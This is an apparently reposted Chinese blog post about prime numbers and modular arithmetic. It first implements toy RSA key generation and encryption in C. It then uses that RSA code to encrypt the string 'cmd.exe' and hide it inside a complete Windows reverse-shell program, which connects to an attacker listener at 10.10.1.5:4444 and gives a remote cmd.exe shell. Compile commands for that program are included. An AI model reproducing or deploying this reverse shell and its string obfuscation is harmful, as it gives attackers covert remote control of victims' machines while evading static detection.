应用质数和模算法

news/2025/1/8 14:21:47/文章来源:https://www.cnblogs.com/o-O-oO/p/18659621

生成RSA加密密钥

密钥生成时先选择两个素数p和q,计算他们的乘积n=p*q,RSA的安全性是基于从n推导出p和q是很困难的,p和q越大,在给定n推到p和q的值越难,简单逻辑如下:

1、选择两个大的素数

2、计算n和phi(欧拉商函数)

3、选择一个公共指数e

4、计算私有指数d

5、使用公钥加密信息

6、使用私钥解密信息

#include <stdio.h>
#include <stdlib.h>
#include <math.h>// 判断一个数是不是素数 Function to check if a number is prime
int is_prime(int n) {
if (n <= 1) {return0;}
for (int i = 2; i <= sqrt(n); i++) {if (n % i == 0) {return0;}}
return1;
}// 计算两个数的最大公约数 Function to find the greatest common divisor (GCD) of two numbers
int gcd(int a, int b) {
while (b != 0) {int temp = b;b = a % b;a = temp;}
return a;
}// 找到一个数e,使得1 < e < phi并且gcd(e, phi) = 1 Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1
int find_public_exponent(int phi) {
int e = 2;
while (e < phi) {if (gcd(e, phi) == 1) {return e;}e++;}
return-1; // Error: Unable to find public exponent
}// Function to find the modular multiplicative inverse of a number
int mod_inverse(int a, int m) {
for (int x = 1; x < m; x++) {if ((a * x) % m == 1) {return x;}}
return-1; // Error: Modular inverse does not exist
}// Function to perform modular exponentiation
int mod_pow(int base, int exp, int mod) {
int result = 1;
while (exp > 0) {if (exp % 2 == 1) {result = (result * base) % mod;}base = (base * base) % mod;exp /= 2;}
return result;
}int main() {
// Step 1: Choose two large prime numbers
int p = 61;
int q = 53;// Step 2: Compute n (modulus) and phi (Euler's totient function)
int n = p * q;
int phi = (p - 1) * (q - 1);// Step 3: Choose a public exponent e
int e = find_public_exponent(phi);if (e == -1) {printf("Error: Unable to find public exponent.\n");return1;}// Step 4: Compute the private exponent d
int d = mod_inverse(e, phi);if (d == -1) {printf("Error: Unable to compute private exponent.\n");return1;}// Display public and private keys
printf("Public Key (n, e): (%d, %d)\n", n, e);
printf("Private Key (n, d): (%d, %d)\n", n, d);// Step 5: Encrypt a message using the public key
int plaintext = 42;
int ciphertext = mod_pow(plaintext, e, n);
printf("Encrypted Message: %d\n", ciphertext);// Step 6: Decrypt the message using the private key
int decrypted_message = mod_pow(ciphertext, d, n);
printf("Decrypted Message: %d\n", decrypted_message);return0;
}

编译

x86_64-w64-mingw32-gcc -O2 hack.c -o hack.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

运行

PS C:\Users\admin\Downloads> .\hack.exe
Public Key (n, e): (3233, 7)
Private Key (n, d): (3233, 1783)
Encrypted Message: 240
Decrypted Message: 42

加解密字符串cmd.exe

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>// Function to check if a number is prime
int is_prime(int n) {
if (n <= 1) {return0;}
for (int i = 2; i <= sqrt(n); i++) {if (n % i == 0) {return0;}}
return1;
}// Function to find the greatest common divisor (GCD) of two numbers
int gcd(int a, int b) {
while (b != 0) {int temp = b;b = a % b;a = temp;}
return a;
}// Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1
int find_public_exponent(int phi) {
int e = 2;
while (e < phi) {if (gcd(e, phi) == 1) {return e;}e++;}
return-1; // Error: Unable to find public exponent
}// Function to find the modular multiplicative inverse of a number
int mod_inverse(int a, int m) {
for (int x = 1; x < m; x++) {if ((a * x) % m == 1) {return x;}}
return-1; // Error: Modular inverse does not exist
}// Function to perform modular exponentiation
int mod_pow(int base, int exp, int mod) {
int result = 1;
while (exp > 0) {if (exp % 2 == 1) {result = (result * base) % mod;}base = (base * base) % mod;exp /= 2;}
return result;
}// Function to encrypt a message
void encrypt(const unsigned char *message, int message_len, int e, int n, int *ciphertext) {
for (int i = 0; i < message_len; i++) {ciphertext[i] = mod_pow(message[i], e, n);}
}// Function to decrypt a ciphertext
void decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {
for (int i = 0; i < message_len; i++) {decrypted_message[i] = (unsignedchar)mod_pow(ciphertext[i], d, n);}
}int main() {
// Step 1: Choose two large prime numbers
int p = 61;
int q = 53;// Step 2: Compute n (modulus) and phi (Euler's totient function)
int n = p * q;
int phi = (p - 1) * (q - 1);// Step 3: Choose a public exponent e
int e = find_public_exponent(phi);if (e == -1) {printf("Error: Unable to find public exponent.\n");return1;}// Step 4: Compute the private exponent d
int d = mod_inverse(e, phi);if (d == -1) {printf("Error: Unable to compute private exponent.\n");return1;}// Display public and private keys
printf("Public Key (n, e): (%d, %d)\n", n, e);
printf("Private Key (n, d): (%d, %d)\n", n, d);// Message to be encrypted
constunsignedchar original_message[] = "cmd.exe";
int message_len = sizeof((constchar *)original_message);// Array to store ciphertext
int ciphertext[message_len];// Encrypt the message
encrypt(original_message, message_len, e, n, ciphertext);// Display encrypted message
printf("encrypted Message: ");
for (int i = 0; i < message_len; i++) {printf("%d ", ciphertext[i]);}
printf("\n");// Array to store decrypted message
unsignedchar decrypted_message[message_len];// Decrypt the message
decrypt(ciphertext, message_len, d, n, decrypted_message);// Display decrypted message
printf("decrypted Message: %s\n", decrypted_message);return0;
}

编译

x86_64-w64-mingw32-gcc -O2 hack2.c -o hack2.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc

运行

PS C:\Users\admin\Downloads> .\hack2.exe
Public Key (n, e): (3233, 7)
Private Key (n, d): (3233, 1783)
encrypted Message: 24 597 2872 1137 3071 55 3071 0
decrypted Message: cmd.exe

加密反弹shell里的cmd.exe字符串

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>// Function to check if a number is prime
int is_prime(int n) {
if (n <= 1) {return0;}
for (int i = 2; i <= sqrt(n); i++) {if (n % i == 0) {return0;}}
return1;
}// Function to find the greatest common divisor (GCD) of two numbers
int gcd(int a, int b) {
while (b != 0) {int temp = b;b = a % b;a = temp;}
return a;
}// Function to find a number e such that 1 < e < phi and gcd(e, phi) = 1
int find_public_exponent(int phi) {
int e = 2;
while (e < phi) {if (gcd(e, phi) == 1) {return e;}e++;}
return-1; // Error: Unable to find public exponent
}// Function to find the modular multiplicative inverse of a number
int mod_inverse(int a, int m) {
for (int x = 1; x < m; x++) {if ((a * x) % m == 1) {return x;}}
return-1; // Error: Modular inverse does not exist
}// Function to perform modular exponentiation
int mod_pow(int base, int exp, int mod) {
int result = 1;
while (exp > 0) {if (exp % 2 == 1) {result = (result * base) % mod;}base = (base * base) % mod;exp /= 2;}
return result;
}// Function to decrypt a ciphertext
void decrypt(const int *ciphertext, int message_len, int d, int n, unsigned char *decrypted_message) {
for (int i = 0; i < message_len; i++) {decrypted_message[i] = (unsignedchar)mod_pow(ciphertext[i], d, n);}
}int main() {
// Step 1: Choose two large prime numbers
int p = 61;
int q = 53;// Step 2: Compute n (modulus) and phi (Euler's totient function)
int n = p * q;
int phi = (p - 1) * (q - 1);// Step 3: Choose a public exponent e
int e = find_public_exponent(phi);if (e == -1) {printf("Error: Unable to find public exponent.\n");return1;}// Step 4: Compute the private exponent d
int d = mod_inverse(e, phi);if (d == -1) {printf("Error: Unable to compute private exponent.\n");return1;}// Display public and private keys
printf("Public Key (n, e): (%d, %d)\n", n, e);
printf("Private Key (n, d): (%d, %d)\n", n, d);int message_len = 8;// encrypted message (cmd.exe string)
int ciphertext[] = {24,597,2872,1137,3071,55,3071,0};// array to store decrypted string
unsignedchar decrypted_cmd[message_len];// Decrypt the message
decrypt(ciphertext, message_len, d, n, decrypted_cmd);WSADATA wsaData;SOCKET wSock;
structsockaddr_in hax;STARTUPINFO sui;PROCESS_INFORMATION pi;// listener ip, port on attacker's machine
char *ip = "10.10.1.5";
short port = 4444;// init socket lib
WSAStartup(MAKEWORD(2, 2), &wsaData);// create socketwSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);hax.sin_family = AF_INET;hax.sin_port = htons(port);hax.sin_addr.s_addr = inet_addr(ip);// connect to remote host
WSAConnect(wSock, (SOCKADDR *)&hax, sizeof(hax), NULL, NULL, NULL, NULL);memset(&sui, 0, sizeof(sui));sui.cb = sizeof(sui);sui.dwFlags = STARTF_USESTDHANDLES;sui.hStdInput = sui.hStdOutput = sui.hStdError = (HANDLE)wSock;// start the decoded command with redirected streams
CreateProcess(NULL, decrypted_cmd, NULL, NULL, TRUE, 0, NULL, NULL, &sui, &pi);
exit(0);return0;
}

编译

x86_64-w64-mingw32-gcc -O2 hack3.c -o hack3.exe -I/usr/share/mingw-w64/include/ -s -ffunction-sections -fdata-sections -Wno-write-strings -fno-exceptions -fmerge-all-constants -static-libstdc++ -static-libgcc -lws2_32

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/865870.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

ASE100N03-ASEMI中低压N沟道MOS管ASE100N03

ASE100N03-ASEMI中低压N沟道MOS管ASE100N03编辑:ll ASE100N03-ASEMI中低压N沟道MOS管ASE100N03 型号:ASE100N03 品牌:ASEMI 封装:TO-252 最大漏源电流:100A 漏源击穿电压:30V 批号:最新 RDS(ON)Max:5.0mΩ 引脚数量:3 沟道类型:N沟道MOS管 芯片尺寸:MIL 漏电流: …

【信息安全】发布漏洞信息是否违法?如何量刑?

引言 在全球数字化进程加速的今天,信息安全问题成为了国家、企业乃至个人面临的重大挑战。网络漏洞作为信息安全的薄弱环节,一旦被恶意利用,可能导致数据泄露、系统崩溃甚至经济损失。随着安全研究人员和黑客的逐步增加,漏洞信息的披露也成为网络安全领域的一个重要议题。昨…

智能驾驶场地和道路测试服务

智能驾驶产品不断迭代更新,智驾功能日新月异。实车测试是智能驾驶功能和性能测试必不可少的手段之一,根据测试环境和测试项不同分为场地测试和道路测试。经纬恒润通过多年智能驾驶系统产品开发经验、实际场地和道路测试经验以及工具开发经验的积累,可以为客户提供智能驾驶相…

【unity】学习制作2D横板冒险游戏-1-

创建项目2D(Built-In Render Pipeline)核心模板 为2D游戏开发提供基础架构。 配置了适合2D项目的纹理导入、Sprite Packer、Scene视图、光照和正交摄像机等设置。3D(Built-In Render Pipeline)核心模板 开启3D游戏开发之旅,提供强大的3D场景构建能力。 配置了使用Unity内置…

水位自动监测摄像机

水位自动监测摄像机作为现代智能监控技术的重要应用,正在广泛应用于水利工程、防洪管理和环境监测等领域,显著提升了监测效率和数据准确性。水位自动监测摄像机利用高精度摄像头和先进的图像处理技术,能够实时监测水体的液位变化。其原理是通过安装在指定监测点的摄像头,连…

工厂安全生产检测系统 车间作业异常行为识别系统

工厂安全生产检测系统 车间作业异常行为识别系的核心是基于YOLOv5+Python深度学习算法,工厂安全生产检测系统 车间作业异常行为识别系统通过车间部署的摄像头能够更准确地分析判断工人是否按照规定的操作流程进行操作,是否存在违规行为,如未佩戴安全帽、未按规定使用工具等。…

工具 - Typora - Typora工具的下载和激活

Typora工具的下载和激活 整理不易 如果觉得对您有所帮助,请点赞收藏 谢谢!!! 文章转载自https://blog.csdn.net/sdkdlwk/article/details/143754472 一、下载Typora工具 Typora下载地址或者通过网盘下载: 通过网盘分享的文件:Typora 链接: https://pan.baidu.com/s/1NIxn…

2025-01-08:找到按位或最接近 K 的子数组。用go语言,给定一个数组 nums 和一个整数 k,你的目标是找到一个子数组,使得该子数组中所有元素进行按位或运算后的结果与 k 之间的绝对差值尽

2025-01-08:找到按位或最接近 K 的子数组。用go语言,给定一个数组 nums 和一个整数 k,你的目标是找到一个子数组,使得该子数组中所有元素进行按位或运算后的结果与 k 之间的绝对差值尽量小。 具体地,你需要确定一个子数组 nums[l..r],使得以下表达式的值最小化: |k - (n…

工程师必看~功耗表现最佳模组:Air780EPS!

今天一起来聊聊Air780EPS模组~ 一、Air780EPS核心信息描述 软件开发: Air780EPS软件上既支持传统的AT指令,也支持基于Lua脚本开发的嵌入操作系统LuatOS。 外设支持: Air780EPS硬件上支持丰富的外设管脚,比如USB、UART、SPI、I2C、PWM、GPIO等。 网络协议: 支持丰富的网络协…

一篇解决:TCP断链续连问题!

一、TCP断链续连示例 TCP(传输控制协议)主要用于确保数据在网络中可靠传输。当TCP连接因网络问题、设备故障等原因断开时,需要重新建立连接以继续数据传输。 本文将通过Air201具体示例解析,教你使用LuatOS脚本语言实现TCP断链续连。 1.1 本教程实现的功能定义: 1)断链: …

使用PPP拨号的方式——快速实现USB上网!

今天一起来看看,如何使用PPP拨号的方式快速实现USB上网。 一、Windows下PPP拨号 1.1 配置标准调制解调器 1)选择COM口 具体操作如下: 打开控制面板—>电话和调制解调器—>调制解调器—>添加—>选择标准33600bps调制解调器—>选择COM口。2)修改波特率 具体操…

BOS或客户端清理服务器设置历史记录

1、客户端服务器设置中“清除全部记录”2、反编译Kingdee.BOS.IDE.exe, 查找配置文件修改, C:\Users\HUAXIN\Documents\Kingdee\K3Cloud\LoginInfo.xml